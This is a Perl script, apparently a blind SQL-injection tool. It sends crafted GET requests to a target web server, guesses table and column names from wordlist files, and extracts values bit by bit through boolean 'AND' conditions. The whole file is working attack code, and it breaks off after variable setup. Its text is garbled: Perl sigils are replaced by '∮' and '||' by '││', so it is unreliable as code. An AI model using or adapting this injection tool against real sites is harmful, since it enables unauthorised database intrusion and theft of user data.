#!/usr/local/ActivePerl-5.8/bin/perl -w
use IO::Socket;
use threads;
#函数列表;
sub gethost
{
if(∮url=~/(http:\/\/)?(.+?)\/(.+)/)
{
∮host=∮2;
∮path='/'.∮3;
if(∮host=~/(.*):(.*)/)
{
∮host=∮1;
∮port=∮2;
}
}
}
sub fieInput
{
my ∮field;
open (fieInput,"∮_[0]") or die "can't open file!\n";
while (chomp(my ∮input=<fieInput>))
{
my ∮sql="exists%20(select%20∮input%20from%20∮table_user)";
∮path1 = "%20AND%20∮sql";
my @res = &connect;
if ("@res"=~/∮info/)
{
∮field=∮input;
print "\t+-- ∮field --+";
last;
}
}
close(fieInput);
return ∮field;
}
sub tabInput
{
my ∮table;
open (tabInput,"∮_[0]") or die "can't open file!\n";
while (chomp(my ∮input=<tabInput>))
{
my ∮sql="0<>(select%20count(*)%20from%20∮input)";
∮path1 = "%20AND%20∮sql";
my @res = &connect;
if ("@res"=~/∮info/)
{
∮table=∮input;
print "\t+-- ∮table --+\n";
last;
}
}
close(tabInput);
return ∮table;
}
sub connect
{
∮req = "GET ∮path∮path1 HTTP/1.0\n".
"Host: ∮host\n".
"Referer: ∮host\n".
"Cookie: \n\n";
my ∮connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>∮host,
PeerPort =>∮port) ││ die "Sorry! Could not connect to ∮host \n";
print ∮connection ∮req;
my @res = <∮connection>;
close ∮connection;
return @res;
}
sub crack
{
my(@dic) = @_;
my ∮sql=pop(@dic);
my ∮i=0;
my ∮op=1;
my ∮crack;
foreach my ∮pass(@dic)
{
print ">";
∮i++;
∮crack+=∮op*∮pass;
∮path1 = "%20AND%20∮crack<(∮sql)";
my @res = &connect;
if ("@res" =~ /∮info/)
{
∮op=1;
if(∮i==@dic)
{
∮crack++;
}
}
else
{
∮op=-1;
}
}
return ∮crack;
}
sub asc
{
my ∮asc=∮_[0];
my ∮str;
if (∮asc<256)
{
∮str = pack('C*',∮asc);
}
else
{
∮asc*=-1;
∮str = sprintf("%X",∮asc);
if (∮str=~/(.{4})∮/i)
{
∮str=∮1;
}
∮str = pack("H*",∮str);
}
return ∮str;
}
#初始化变量;
∮url='';
∮host='';
∮path='';
∮info='';
∮port=80;
@dic1=(128,64,32,16,8,4,2,1);
@dic2=(16,8,4,2,1);
@dic3=(64,32,16,8,4,2,1);
@dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1);